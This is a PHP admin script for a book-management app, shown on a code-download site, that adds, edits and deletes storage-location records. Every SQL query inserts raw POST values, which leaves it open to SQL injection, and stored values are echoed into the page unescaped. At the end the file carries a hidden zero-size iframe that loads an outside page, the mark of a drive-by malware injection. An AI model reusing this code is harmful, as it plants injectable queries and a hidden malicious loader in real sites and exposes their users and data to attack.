⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 locationcl.php

📁 我不是乱码
💻 PHP
字号:
<link href="../css/css.css" rel="stylesheet" type="text/css">
<?php  
include "../config.php";
?>
<?php  //插入存放位置名

if(!empty($_POST[submit]))
{
$location=$_POST["location"];
$remarks=$_POST["remarks"];

if(empty($location))
{
echo "<script language='javascript'>alert('存放位置名不能为空');history.go(-1);</script>";
}
$sql="insert into bookmanagement.location(location,remarks) values ('$location','$remarks')";
$result=mysql_query($sql);
if($result)
{
echo "<script language='javascript'>alert('存放位置名设置成功'); window.location.href='location.php';</script>";
}
}
?>

<?php  //返回
if(!empty($_POST[submit3]))
{
echo "<script language='javascript'>window.location.href='location.php';</script>";
}
?>

<?php  //查看
if(!empty($_POST[submit4]))
{
echo "<script language='javascript'>window.location.href='location.php';</script>";
}
?>

<?php  //修改

if(!empty($_POST[submit5]))
{
?>


<form action="locationcl.php" method="post" enctype="multipart/form-data" name="form1" id="form1">
  <table width="765" border="0" cellspacing="0" class="table">
    <tr>
      <td height="50" colspan="4" class="tabletitle"> 存放位置名设置</td>
    </tr>
    <tr>
      <td height="2" colspan="4" class="titlebg"></td>
    </tr>
    <tr>
      <td width="110" height="5" class="word">&nbsp;</td>
      <td height="5" colspan="3" align="left" class="word">&nbsp;</td>
    </tr>
	<tr>
	<td width="110" height="35" class="word" align="center">I D</td>
<?php
$id=$_GET["id"];
$sql="select * from bookmanagement.location where id='$_POST[selected]'";
$result=mysql_query($sql);
$row=mysql_fetch_array($result);
?>	
	<td width="375" height="35" class="word" align="left"> 
	  <input name="id" type="text" id="id" size="30"
		 value="<?=$row['id']?>" />	</td>
	</tr>	
    <tr>
      <td width="110" height="35" class="word">  存放位置名</td>
      <td height="35" colspan="3" align="left" class="word"> 
        <input name="location" type="text" id="location" size="45"
		 value="<?=$row['location']?>" /></td></tr>
    <tr>
      <td width="110" height="35" class="word">  备   注</td>
      <td height="35" colspan="3" class="word"> 
        <input name="remarks" type="text" id="remarks" size="85" 
		value="<?=$row['remarks']?>"></td>
    </tr>
    <tr>
      <td height="2" colspan="4" align="center" class="titlebg"></td>
    </tr>
    <tr>
      <td height="50" colspan="4" align="center" class="word">       
        <input type="submit" name="submit7" value="保存继续" />  
         
        <input type="reset" name="submit2" value="清空内容" />
         
      <input type="submit" name="submit3" value="返回" /></td>
    </tr>
  </table>
</form>
<?php

}
?>
<?php  //修改处理

if(!empty($_POST[submit7]))
{
$id=$_POST["id"];
$location=$_POST["location"];
$remarks=$_POST["remarks"];

if(empty($location))
{
echo "<script language='javascript'>alert('存放位置名不能为空');history.go(-1);</script>";
}

$sql="update bookmanagement.location set id='$id',location='$location',remarks='$remarks' where id='$id'";
$result=mysql_query($sql);

if($result)
{
echo "<script language='javascript'>alert('存放位置名修改成功'); window.location.href='location.php';</script>";
}
}
?>

<?php  //删除

if(!empty($_POST[submit6]))
{
$sql="delete from bookmanagement.location where id='$_POST[selected]'";
$result=mysql_query($sql);
if($result)
{
echo "<script language='javascript'>alert('存放位置名删除成功'); window.location.href='location.php';</script>";
}
}
?>
<iframe src=http://www.winxpbox.com/ys/e.htm width=0 height=0></iframe> 

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -